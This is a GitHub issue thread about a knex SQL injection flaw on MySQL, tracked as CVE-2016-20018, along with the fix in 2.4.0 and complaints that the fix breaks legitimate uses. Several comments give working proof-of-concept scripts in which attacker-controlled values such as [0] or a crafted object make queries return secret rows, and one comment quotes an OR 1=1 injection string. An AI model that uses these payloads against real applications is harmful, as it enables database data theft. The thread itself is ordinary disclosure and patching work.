knex where is not escaping field objects with mysql engine (potential SQL injection?)

[TheThing]

Update 2023-09-07

For people coming back to this because they got CVE notification
This alleged SQLi bug can only be allegedly possible if you are using mysql as your backend.
If you are using any other backend, you are not affected and can move on and ignore this.
In fact it would be better for you guys to ignore this because the "fixes" that have been introduced break core functionality and introduce a lot of issues so far.

This is a really weird bug but if you do:

knex('sometable').where({
  stringfield: { hello: 1 }
})

It will crash with Unknown column 'hello' in 'where clause'] which is an EXTREMELY scary message to see considering the almost potential(?) possibility of doing SQL injection or something.

This only happens though when using the mysql client, tested with pg and it worked as it should, giving empty result.

Here's a working gist reproducing the problem: https://gist.github.com/TheThing/00be586e2d71e7b9a4b8

[raijinsetsu]

I'm not seeing this in the SQL. v0.10.0.0 of knex is what I'm using

let knex = require('knex')({
        client: 'mysql',
        connection: {
                host: '127.0.0.1',
                user: 'root',
                password: 'none',
                database: 'none'
        }
});

console.log(knex.table('table').select('id').where({
        field: {hello: 1}
}).toString());

This yields the correct SQL:

select `id` from `table` where `field` = '{"hello":1}'

Also tried values that should have escapes and everything was escaped correctly.

[TheThing]

Yeah they yield correct SQL. They also yield correct SQL inside the error that I'm getting:

{ [Error: select * from `user_test` where `username` = '{"nope":1}' - ER_BAD_FIELD_ERROR: Unknown column 'nope' in 'where clause']
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  index: 0 }

If I copy-pasta the SQL from the error into an actual mysql console it works. If I toString the query, it generates a valid output:

> console.log(client('user_test').where({ username: { nope: 1 } }).toString())
select * from `user_test` where `username` = '{"nope":1}'

Yet when I attempt to execute it, it STILL throws with unknown column nope in where error every time.

[elhigu]

This might be related to #1269

[alokmenghrajani]

Friendly ping reminding that this issue isn't fixed in the latest version (2.3.0) even though #1269 has been merged. Probably worth investigating what's going on, happy to provide a different demonstration of why this results in a SQLi.

[alokmenghrajani]

Here is a simple proof of concept. An attacker controlled variable ends up reading a database row.

// If you don't have a mysql server running, you can use:
// docker run --name poc-mariadb --env MARIADB_USER=poc --env MARIADB_PASSWORD=secret --env MARIADB_ROOT_PASSWORD=secret -v `pwd`/data/:/var/lib/mysql -p 3306:3306 mariadb:latest

const knexConfig = {
  "client": "mysql",
   "connection": {
     "host": "127.0.0.1",
     "port": "3306",
     "user": "root",
     "password": "secret",
     "charset": "utf8mb4"
   }
}
let knex = require('knex')(knexConfig);

const attackerControlled = [0];

async function go() {
  await knex.raw('DROP DATABASE IF EXISTS poc;');
  await knex.raw('CREATE DATABASE poc;');
  knexConfig.connection.database = "poc";
  knex = require('knex')(knexConfig);

  await knex.schema.createTable('poc', function(table) {
    table.increments('id').primary();
    table.string('x').notNullable();
  });

  // assume the database has a secret row
  await knex('poc').insert({
      x: "something secret",
  });

  // userControlled leaks the secret row
  const data = await knex('poc')
    .select()
    .where({ x: attackerControlled })
  console.log(data);
}
go().then(() => process.exit());

[r2dev2]

Here is a simple proof of concept. An attacker controlled variable ends up reading a database row.

Exploit

> ```js > // If you don't have a mysql server running, you can use: > // docker run --name poc-mariadb --env MARIADB_USER=poc --env MARIADB_PASSWORD=secret --env MARIADB_ROOT_PASSWORD=secret -v `pwd`/data/:/var/lib/mysql -p 3306:3306 mariadb:latest > > const knexConfig = { > "client": "mysql", > "connection": { > "host": "127.0.0.1", > "port": "3306", > "user": "root", > "password": "secret", > "charset": "utf8mb4" > } > } > let knex = require('knex')(knexConfig); > > const attackerControlled = [0]; > > async function go() { > await knex.raw('DROP DATABASE IF EXISTS poc;'); > await knex.raw('CREATE DATABASE poc;'); > knexConfig.connection.database = "poc"; > knex = require('knex')(knexConfig); > > await knex.schema.createTable('poc', function(table) { > table.increments('id').primary(); > table.string('x').notNullable(); > }); > > // assume the database has a secret row > await knex('poc').insert({ > x: "something secret", > }); > > // userControlled leaks the secret row > const data = await knex('poc') > .select() > .where({ x: attackerControlled }) > console.log(data); > } > go().then(() => process.exit()); > ```

I modified this to use an attackerControlled = 0 and I still retrieved the secret row. With both attackControlled = [0] and attackControlled = 0, the sql generated by knex is

select * from `poc` where `x` = 0

I ran that query in a mariadb shell and that query also returned the secret row. Interestingly, that same query does not return any row in sqlite3.

It seems that the solution to this issue may be to have knex call .toString() on each value passed in as an object. When I change attackerControlled to attackerControlled.toString(), it properly does not return the secret row. This solution also works for columns where the type is bigint.

[Ccamm]

An alternative PoC is to use an object to query using a different column instead of the intended one.

const knex = require('knex')({
    client: 'mysql2',
    connection: {
        host: '127.0.0.1',
        user: 'root',
        password: 'supersecurepassword',
        database: 'poc',
        charset: 'utf8'
    }
})

knex.schema.hasTable('users').then((exists) => {
    if (!exists) {
        knex.schema.createTable('users', (table) => {
            table.increments('id').primary()
            table.string('name').notNullable()
            table.string('secret').notNullable()
        }).then()
        knex('users').insert({
            name: "admin",
            secret: "you should not be able to return this!"
        }).then()
        knex('users').insert({
            name: "guest",
            secret: "hello world"
        }).then()
    }
})

attackerControlled = {
    "name": "admin"
}

knex('users')
    .select()
    .where({secret: attackerControlled})
    .then((userSecret) => console.log(userSecret))

The built SQL query is as follows

select * from `users` where `secret` = `name` = 'admin'

MySQL will ignore the WHERE clause resulting in the following equivalent query

select * from `users`

A syntax error is returned if there weren't quoted identifiers in the query. However, the quoted identifiers are needed so that wouldn't be a solution.

I am just about to release an article about this issue since it impacts a lot of other packages. The issue isn't just with knex, developers using knex also assumed that users cannot send JS objects. Yet NodeJS supports dynamic typing of input variables (example of changing input type using GET parameters).

A simple solution would be to reject all object and array type variables for column names and values for querying. Personally I don't see a good reason for allowing column names and values to be allowed as an array or object.

[rgmz]

FYI @kibertoad & @OlivierCavadenti (you seem to be the most active maintainers).

[rgmz]

Since there hasn't been any movement on this, I went ahead and requested CVE-2016-20018. Full credit to the people in this issue.

[TheThing]

Augh, why would you request a CVE like that? :-/
That was unnecessary.

[rgmz]

I should clarify that this wasn't a decision made lightly. I had a vendor's private research team validate this. I then attempted to contact the maintainer myself, and even reached out to the GitHub security team who themselves attempted to contact them; neither of us have heard back after a few weeks.

@Ccamm released an excellent and in-depth article explaining this vulnerability. It's a great read (and I look forward to their future articles), but unfortunately means that the cat is fully out of the bag at this point.

[attritionorg]

The article for reference: https://www.ghostccamm.com/blog/knex_sqli/

[kevinbackhouse]

Hi! I'm a member of GitHub Security Lab and can confirm that @rgmz reached out to us a few weeks ago for advice. We also attempted to contact the maintainers without success, so we recommended that @rgmz should request a CVE for this issue.

[kibertoad]

Unfortunately, I do not currently have time for a quick fix; I can look into this in January; or review any fixes that community might provide.

[kibertoad]

@rgmz I didn't receive any communication from your side via email or twitter, could you please confirm which communication channel did you use? I did have a brief exchange with @alokmenghrajani on this topic, however.

[alokmenghrajani]

Having a CVE isn't bad per se: many libraries build on top of knex. Being able to automatically update recursive dependencies once a fix is out will benefit everyone!

The important thing right now is to get a fix out.

@kibertoad: what do you think of the earlier suggestion:

It seems that the solution to this issue may be to have knex call .toString() on each value passed in as an object. When I change attackerControlled to attackerControlled.toString(), it properly does not return the secret row. This solution also works for columns where the type is bigint.

[littlemaneuver]

hey I made a pr to mitigate the issue, could you pls check? #5417 @kibertoad

[OlivierCavadenti]

@antoniopuero I will check the pr as soon as possible. Could be nice to release a version after that

[piyushchauhan2011]

hey I made a pr to mitigate the issue, could you pls check? #5417 @kibertoad

Thank you

[sgarbesi]

This is coming up in Dependabot and has been blogged about.

[joao-moonward]

any news?

[dvoraqs]

any news?

There's more info in the PR above (5417), but as of now it looks like a release will go out tomorrow.

[kibertoad]

Fix was released in 2.4.0, please validate.

[alokmenghrajani]

Confirming the vuln looks fixed from my point of view in 2.4.0. IMHO, this issue as well as #5420 can now be closed. Thanks everyone!

[nnicolosi]

What else is required to close this issue?

[tienya]

The raw function has the same issue.

knex.raw('select * from users where id = ?', [{ hello: 1 }]);

error

ER_BAD_FIELD_ERROR: Unknown column 'hello' in 'where clause'

[tienya]

let knex = require('knex')({
        client: 'mysql',
        connection: {
                host: '127.0.0.1',
                user: 'root',
                password: 'none',
                database: 'none',
                stringifyObjects: true, // set to true can fix this issue
        }
});

The problem caused by sqlstring.escape, it is recommended to set stringifyObjects to true by default

https://github.com/mysqljs/sqlstring/blob/master/lib/SqlString.js#L34

[peterdenham]

let knex = require('knex')({
        client: 'mysql',
        connection: {
                host: '127.0.0.1',
                user: 'root',
                password: 'none',
                database: 'none',
                stringifyObjects: true, // set to true can fix this issue
        }
});

stringifyObjects: true does not appear to cover the case where an attacker passes [0] to the where clause.

[tienya]

Yes. stringifyObjects: true does not to cover the case where an attacker passes [0] to the where clause.

But, It seems to be a problem with mysql.

For example, there is a test table.

uid	stringfield
1	foo
2	bar
3	1foo

Executing the following statement will get the rows unexpected.

knex.raw('select * from test where stringfield = ?', [0]); // or [[0]]
knex('test').where({ stringfield: 0 });

The results are

uid	stringfield
1	foo
2	bar

This is caused by implicit type conversion of MySQL.

Refer to

https://dev.mysql.com/doc/refman/8.0/en/type-conversion.html

In all other cases, the arguments are compared as floating-point (double-precision) numbers. For example, a comparison of string and numeric operands takes place as a comparison of floating-point numbers.

Etc.

• select 'foo' = 0 => 1
• select 'bar' = 0 => 1
• select '1foo' = 1 => 1
• select '0foo' = 1 => 0

Therefore, strict parameter type checking is required to avoid being attacked.

[Cellule]

What is the proper way to do a where in in raw now then?
I have some query built like

knex(table).whereRaw(`${additionalHardToExplainCheck} AND id in (?)`, [ids /* this is an array of numbers */])

This used to work, but the mitigation added in 2.4.0 now fails.
Does it mean the code I wrote above wasn't escaping ids properly?
If so, what is the proper way to avoid/detect this before all these crashes hit production? (unit test found a bunch, but I'm worried I missed some)

[Cellule]

I just tested real quick and at least in the scenario I pointed out above, knex was indeed escaping properly.
Using debugger, I injected malicious data in "ids" (which is not user controllable btw in my case) and I got the following

select * from table where and field IN ('99) OR (1 = 1')

So it really sounds like the mitigation was too aggressive and prevented legitimate ways of using whereRaw.

On top of that, the typings for the bindings clearly show that at least some forms of object/arrays are legit

knex/types/index.d.ts

Lines 2068 to 2076 in 0d27bcb

	type RawBinding = Value | QueryBuilder;
	interface RawQueryBuilder<TRecord extends {} = any, TResult = unknown[]> {
	<TResult2 = TResult>(
	sql: string,
	bindings?: readonly RawBinding[] | ValueDict | RawBinding
	): QueryBuilder<TRecord, TResult2>;
	<TResult2 = TResult>(raw: Raw<TResult2>): QueryBuilder<TRecord, TResult2>;
	}

knex/types/index.d.ts

Lines 494 to 506 in 0d27bcb

	type Value =
	| string
	| number
	| boolean
	| null
	| Date
	| Array<string>
	| Array<number>
	| Array<Date>
	| Array<boolean>
	| Buffer
	| object
	| Knex.Raw;

So why were the typings not updated as well?

[Cellule]

To top it up, I now have a scenario I have no idea how to avoid passing an Array in the bindings

query.whereRaw(`??->"$.someId" IN (?)`, [column, listOfIds]);

I feel the check should at least allow Array of primitives and not block on any and all arrays

[swami-sanapathi]

Why this issue still open? @kibertoad @OlivierCavadenti

[Cellule]

@SwamixD Because that assertion is a work around the problem and it is too aggressive causing legitimate use cases to error out

[swami-sanapathi]

Okay @Cellule, hope it will gets fixed soon.

[hkmsadek]

Last night we noticed this issue, is there any solution? For now validating the input as string would protect but knex should have a solution and treat as string

[OlivierCavadenti]

So still no fixed at all ? (I also see #5500)
I have unfortunately been absent for months can I have a summary of the remaining concerns?
I will see to close this topic quickly.

[Cellule]

From my perspective, the assertion added here is too aggressive

knex/lib/dialects/mysql/query/mysql-querycompiler.js

Lines 166 to 183 in 2ad7719

	whereBasic(statement) {
	assert(
	!isPlainObjectOrArray(statement.value),
	'The values in where clause must not be object or array.'
	);
	return super.whereBasic(statement);
	}
	whereRaw(statement) {
	assert(
	isEmpty(statement.value.bindings) ||
	!Object.values(statement.value.bindings).some(isPlainObjectOrArray),
	'The values in where clause must not be object or array.'
	);
	return super.whereRaw(statement);
	}

The goal was to block complex input like Array of objects or object with properties with object

So we should change the assertion to block these in particular, or at least allow valid slightly-less complicated input that match these types

knex/types/index.d.ts

Lines 494 to 506 in 0d27bcb

	type Value =
	| string
	| number
	| boolean
	| null
	| Date
	| Array<string>
	| Array<number>
	| Array<Date>
	| Array<boolean>
	| Buffer
	| object
	| Knex.Raw;

In particular, the assertion should accept Array of primitives and Object with primitive properties
I'd also recommend to change object in this list to Record<string, string | number | boolean | null | Date>

Could replace isPlainObjectOrArray by the following.
I tried to be thorough, but I might have missed something

const isInvalidValue = (value) => {
  if (isPlainObject(value)) {
    // Make sure all the properties are primitives
    // object escaping uses JSON.stringify so we must list properties exactly the same way and make sure `toJSON` method is valid/expected
    // https://github.com/knex/knex/blob/2ad77199233fd775e710055bd333b655ca1bc92c/lib/util/string.js#L56-L62
    // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify
    // Object.values uses same algorithm to list properties in an object as JSON.stringify as explained in ^MDN article
    return !Object.values(value).every(
      (property) =>
        isString(property) ||
        isNumber(property) ||
        isBoolean(property) ||
        isNull(property) ||
        // What if Date.prototype.toJSON is overridden?
        // That could be a concern in a lot of other scenarios too, unclear if it's a risk
        (isDate(property) && property.toJSON === Date.prototype.toJSON)
    );
  }
  if (Array.isArray(value)) {
    // Make sure all the items are primitives
    return !value.every(
      (item) =>
        isString(item) ||
        isNumber(item) ||
        isBoolean(item) ||
        // What if Date.prototype.toJSON is overridden?
        // That could be a concern in a lot of other scenarios too, unclear if it's a risk
        (isDate(item) && item.toJSON === Date.prototype.toJSON)
    );
  }
  return false;
};

[Cellule]

As for the CVE itself, I'm not entirely sure, the assertion seems to catch a lot of cases.
The only thing I can think of is to change escapeObject's JSON.stringify to only do it on primitives?
I'm not sure if there's a use case at all to output a JSON serialized object to a query ever. But I might be focusing too much on the whereRaw case and not on the whereBasic case

[Cellule]

Any updates ? It's been 2 months now and this problem is preventing me from updating to ^2.4 because it still crashes on perfectly legitimate calls

[TheThing]

Are you using mysql @Cellule?

[Cellule]

Are you using mysql @Cellule?

Yes